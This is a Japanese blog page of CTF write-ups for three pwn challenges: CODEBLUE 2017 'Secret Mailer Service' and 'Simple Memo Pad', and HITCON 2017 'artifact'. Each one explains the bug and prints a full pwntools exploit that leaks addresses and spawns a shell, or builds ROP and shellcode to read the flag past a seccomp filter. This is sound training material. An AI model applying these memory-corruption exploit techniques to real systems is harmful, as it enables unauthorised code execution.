CODEBLUE CTF 2017 writeup nonamestill

競技中に取り組んではいたものの解けなったので解きました。供養。

続きを読む

CODEBLUE CTF 2017 writeup

チーム SSR_CTF_BUで参加しました。2755点で全体で3位、僕はSecret Mailer Servicet(256点)とSimple Memo Pad(399点)の二問を解きました。

Secret Mailer Service

概要

PIE無効、NXBit enabledの64bitバイナリ。 起動すると以下の用にメニューが表示される。

*** Secret Mailer Service ***
Welcome to Secret Mailer Service!
Post your secret letters here ;)

1. Add a letter
2. Delete a letter
3. Post a letter
4. Quit
>

選択肢は4つでそれぞれ、
* Add
サイズが0x100以下の文字列をスタック上に格納
* Delete
Addした中から一つ選んでmemsetで0埋めする。
* Post
Addした中から一つ選んだ後、適用するフィルターを選びヒープへ保存する。
* Quit
終了する。

また、起動時にfopen("/dev/null", "a")が呼ばれ、Post時に呼ばれる関数の第一引数にそのハンドラが入る。

脆弱性

Postを実行しフィルターを選択する際の処理は以下のとおり(一部省略)。

8048b77:       eb 52                   jmp    8048bcb <atoi@plt+0x65b>
8048b79:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
8048b7c:       8b 14 85 48 b0 04 08    mov    edx,DWORD PTR [eax*4+0x804b048]
...
8048bb2:       ff 75 0c                push   DWORD PTR [ebp+0xc]
8048bb5:       ff d2                   call   edx

この選択肢に負数を入力するとチェックをすり抜けることが出来る。

exploit

Post時のフィルターの選択で0を入力するとAddで入力した文字列bufがfwrite(f, buf, len)という形で使用される。(fは起動時のfopenの戻り値、lenはbufの長さ)
この時、ヒープ上にバッファが溜まって行くことを利用する。

call edx時のedxの値はメモリ上にある値だけなので、ヒープ上の値とGOTを利用することにする。また関数の引数は順番に、ファイルハンドラ、Postする文字列、文字列の長さの順番になっている。

方針は以下の通り。

  1. ヒープ上にmain関数のアドレスを入力しておく。
  2. printfでヒープのアドレスをリーク。
  3. memsetでlibcのアドレスがある場所まで適当な値で埋めた後、1と同様にしてリークする。
  4. 2でファイルハンドラを破壊してしまった為、main関数を呼び出してファイルハンドラを再び確保する。
  5. ヒープ上にgetsなどの入力を受け付ける関数とsystemのアドレスを入力する。
  6. getsを呼び出してファイルハンドラの指す先に"/bin/sh"を入力する。
  7. system(f)を呼び出す。

exploitは以下の通り。

from pwn import *

context.terminal = 'screen'

binary = './mailer'
libcName = './libc.so.6'
elf = ELF(binary, False)
libc = ELF(libcName, False)

# p = process(binary, env={'LD_PRELOAD': libcName})
# p = process(binary, aslr=False, env={'LD_PRELOAD': libcName})
p = remote('sms.tasks.ctf.codeblue.jp', 6029)
# gdb.attach(p)

jmpBase = 0x804b048

prompt = '> '
def add(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Input your contents: ', content)
    p.recvuntil('Done!')

def dele(index):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('ID (0-4): ', str(index))
    p.recvuntil('Done!')

def post(index, offset):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('ID (0-4): ', str(index))
    p.sendlineafter(prompt, str(offset))

'''
0x080485f5: add esp, 0x10 ; leave  ; rep ret  ;  (2 found)
0x08048db0: rep ret
'''
add('A' * 0xfc)
post(0, 0)
dele(0)

'''
0x804c000:      0x00000000      0x00000161      0xfbad3c84      0x0804c168
0x804c010:      0x0804c168      0x0804c168      0x0804c168      0x0804cc6c
0x804c020:      0x0804d168      0x0804c168      0x0804d168      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x5572fcc0
'''
# add(p32(0x08048c02))
add(p32(0x08048590))
post(0, 0)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
heapBase = u32(p.recvuntil('Done!')[4:8]) - 0x168
print 'heapBase: %s' % hex(heapBase)

add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

offset = (elf.got['printf'] - jmpBase) / 4
post(0, offset)
libcBase = u32(p.recvuntil('Done!')[-11:-7]) - 1772736
print 'libcBase: %s' % hex(libcBase)


add('A' * 52)
offset = (elf.got['memset'] - jmpBase)/ 4
post(1, offset)

gets = libcBase + libc.symbols['gets']
system = libcBase + libc.symbols['system']

#return to main and reopen /dev/null
offset = (((heapBase + 0x264) - jmpBase) - (1 << 32)) / 4
post(1, offset)

add('AAAA' + p32(gets) + p32(system) + 'BBBB')
post(0, 0)

offset = (((heapBase + 0x12d4) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.sendline('/bin/sh')

offset = (((heapBase + 0x12d8) - jmpBase) - (1 << 32)) / 4
post(0, offset)
p.interactive()

warm upらしい

CBCTF{4R3_YOU_w4RM3D_UP_f0R_MORE_PWNabLeS?}

Simple Memo Pad

概要

checksec

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

起動時のメニュー

*******************************
*       Simple Memo Pad       *
*******************************
                     Ver. Alpha


1. Write a note on a blank area
2. Edit a note
3. Delete a note
4. Show a note
5. Quit
>

メモの構造体は以下の用になる。

struct Page {
    uint64_t canary;
    uint32_t index;
    uint32_t is_filled;
    char buf[0x80];
    struct Page *next;
    struct Page *prev;
};

各コマンドは
* write
指定したインデックスの構造体のバッファを埋め、is_filledを1にする。
* edit
is_filledが1である構造体のbufに0x88文字まで入力することが出来る(ここでオーバーフローが発生する。)このedit処理に成功すると以後editは実行できなくなる。
* delete
editと同様にis_filledが1である構造体に対して実行可能で双方向リストから指定したインデックスの構造体を削除できる。
* show
未実装らしい。特に意味は無い。
* quit
終了する。

脆弱性

edit時に88byteまでbufに入力することができ、nextを書き換えることが出来る。

exploit

deleteの処理は以下

void del(Page *page) {
    int n = read_int();
    for(Page *iter = page; ; iter = iter->next) {
        if(!iter) {
            output_str("Page not found\n");
            return;
        }
        if(iter->index == n) {
            break;
        }
    }
    if(get_canary() != iter->canary) {
        output_str("Linked list is corrupted\n");
        exit(1);
    }
    if(iter->is_blank) {
        output_tr("You can not delete a blank page\n");
    }
    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }
    output_str("Done");

}

delete特有の操作を切り取るとこれだけ

    Page *local_20h = iter->prev;
    Page *local_18h = iter->next;
    if(local_20h != NULL) {
        local_20h->next = local_18h;
    }
    if(local_18h != NULL) {
        local_18h->prev = local_20h;
    }

つまり、nextに入れたアドレスにPage構造体のアドレスを上書きすることが出来る。
今回はライブラリ関数のアドレス解決に使用されるstrtab構造体を書き換えることでsystem関数を実行する。

strtab構造体のアドレスをヒープのアドレスに上書きしてからライブラリの動的解決を実行させると以下のようなエラーが出て終了する。(bufには "A" * 0x80が格納されている。)

./simple_memo_pad: relocation error: ./simple_memo_pad: symbol AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

エラーメッセージを見る限り、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAがlibcに無いと言われているのでこの部分をlibcの関数に書き換えることでその関数を呼び出すことが出来る。

また、今回はQuit時にstrcmpで第一引数に標準入力による文字列を受け付けており、かつ(Quitを選択しない限り)strcmpのアドレスは解決されていなのでこれをsystem関数に置き換える。

  1. Writeで'A' * 0x53 + 'system\x00'を格納する。
  2. Writeで'B' * 0x80を格納する。
  3. editのオーバーフローにより2で書き込んだPage構造体のnextの値をstrtab_base + 8 - 0x98にする。
  4. deleteで2の構造体(index=3)を削除する。
  5. Quitを実行して"/bin/sh"を入力してシェルを起動する。
from pwn import *

context.terminal = 'screen'
binary = './simple_memo_pad'

# p = process(binary, aslr=False)
p = remote('memopad.tasks.ctf.codeblue.jp', 5498)
# gdb.attach(p)

prompt = '> '

def write(content):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def edit(index, content):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Content: ', content)
    p.recvuntil('Done!')

def delete(index):
    p.sendlineafter(prompt, '3')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil('Done!')


strtab_base = 0x601850

write('A' * 0x53 + 'system\x00')
write('B' * 0x80)
payload = fit({
        0x80: p64(strtab_base + 0x8 - 0x98)
    })
edit(3, payload)
delete(3)

p.sendlineafter(prompt, '5')
p.sendlineafter('Are you sure to quit? (y/n): ', '/bin/sh\x00')
p.sendline('echo pwned')
p.sendlineafter('pwned', 'cat flag')

p.interactive()

参考

SEC-T CTF 2017 Expunged Write Up – bi0s

HITCON CTF 2017 Quals writup artifact

チーム NaruseJunで参加しました。 結果は67位、1solve(artifact) 2アシスト(BabyFirst Reverge, SecretFS) でした。

artifact

概要

checksecではこんな感じ。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラムはseccompによるサンドボックス上で何度でもスタックからのオフセットを指定を指定してアドレスを読み出し、書き込みが出来るようになっている。 seccompで使用されているbpfのダンプ結果は以下のようになっている。

Using architecture x86-64
prctl(PR_SET_NO_NEW_PRIVS)
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)
  fprog @ 00007fffffffddc0
  20 blocks @ 00007fffffffddd0
  Disassembly:
     l0:        ld [4] //A <- arch
     l1:        jeq #0xc000003e, l2, l18 //jeq x86_64
     l2:        ld [32]
     l3:        tax
     l4:        ld [0]
     l5:        jeq #0, l19, l6
     l6:        jeq #0x1, l19, l7
     l7:        jeq #0x5, l19, l8
     l8:        jeq #0x8, l19, l9
     l9:        jeq #0x9, l11, l10
     l10:       jeq #0xa, l11, l14
     l11:       txa
     l12:       and #0x1
     l13:       jeq #0x1, l18, l19
     l14:       jeq x, l19, l15
     l15:       jeq #0xc, l19, l16
     l16:       jeq #0x3c, l19, l17
     l17:       jeq #0xe7, l19, l18
     l18:       ret #0
     l19:       ret #0x7fff0000

脆弱性

bpfによるとルールは64bitのシステムコールかつ、いずれかの条件に当てはまっている必要がある。

つまり、mmapとmprotectは読み出しフラグさえ付けなければ使用可能で他のシステムコールも第三引数をシステムコール番号に設定すると実行できる。
open, read, writeが使用できるので目的であるフラグの読み出しが可能。

ちなみに、bpfのダンプにはこのgdbプラグインを使用しました。
GitHub - niklasb/dump-seccomp: GDB plugin to dump SECCOMP rules set via prctnl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)

exploit

  1. スタック上にある関数の戻り先などを利用してPIE, ASLRのバイパスをする。
  2. 何度も書き込みが可能なのでROPでmmapとreadを呼び出してシェルコードを作成しopen, readでフラグを読み出す。
from pwn import *
from ropchain import solver, arch

context.terminal = 'screen'
binary = './artifact'
libcName = './libc.so.6'

elf = ELF(binary, False)
libc = ELF(libcName, False)


prompt = 'Choice?'

p = remote('52.192.178.153', 31337)

def show(idx):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Idx?', str(idx))
    p.recvuntil('Here it is: ')
    return p.recvuntil('\n')[:-1]

def memo(idx, num):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('Idx?', str(idx))
    p.sendlineafter('Give me your number:', str(num))

def exit():
    p.sendlineafter(prompt, '3')

stackBase = int(show(200)) - 132640
exeBase = int(show(202)) - 2992
libcBase = int(show(203)) - 132081
print 'stackBase: %s' % hex(stackBase)
print 'exeBase: %s' % hex(exeBase)
print 'libcBase: %s' % hex(libcBase)
binsh = libcBase + next(libc.search('/bin/sh\x00'))
system = libcBase + libc.symbols['system']
int80 = libcBase + 0x00002c3b
syscall = libcBase + 0x00124a98
print 'binsh: %s' % hex(binsh)
print 'syscall: %s' % hex(syscall)
# print 'int80: %s' % hex(int80)

'''
0x00116d45: pop r10 ; ret
0x001379b6: pop r8 ; mov eax, 0x00000001 ; ret  ;
'''
addr = 0x600000
arch.arch = arch.AMD64
genRop = lambda r: solver.solveWithFile(r, libcName, libcBase).payload()
payload = ''
payload += p64(libcBase + 0x1379b6) + p64(0xffffffffffffffff)
payload += p64(libcBase + 0x116d45) + p64(34)
payload += genRop({'rax': 0x09, 'rdi': addr, 'rsi': 0x1000, 'rdx': 0x6})
payload += p64(syscall)
payload += genRop({'rax': 0x01, 'rdi': 0x1, 'rsi': binsh, 'rdx': 0x8})
payload += p64(syscall)
payload += genRop({'rax': 0x00, 'rdi': 0x0, 'rsi': addr, 'rdx': 0x100})
payload += p64(syscall)
payload += p64(addr)

for i in range(len(payload)/8):
    memo(203+i, u64(payload[8*i:8*(i+1)]))

p.sendlineafter(prompt, '0')
payload = asm(
        '''
        mov rax, 0x2
        mov rdi, %s
        mov rsi, 0x0
        mov rdx, 0x2
        syscall
        mov rdi, rax
        mov rax, 0x0
        mov rsi, %s
        mov rdx, 0x100
        syscall
        mov rdi, 0x1
        mov rax, 0x1
        mov rdx, 0x100
        syscall
        mov rax, 0x3c
        mov rdi, 0x0
        syscall
        ''' % (hex(addr+0x90), hex(exeBase + elf.bss())), os='linux', arch='amd64').ljust(0x90, '\x90')
payload = (payload + 'flag\x00').ljust(0xc0, '\x90')
p.sendafter('/bin/sh\x00', payload)
p.interactive()

seccompは全然詳しくなかったので勉強になりました。

HITCON CTF 2015 Quals readable

自習用に解きました。

続きを読む

HITCON CTF 2016 Quals Sleepy Holder

自習用に解きました。

続きを読む

Plait CTF 2015 PlaidDB writeup

writeupを読みつつ自習用に解きました。

続きを読む

HITCON CTF 2014 stkof

自習用に解きました。

続きを読む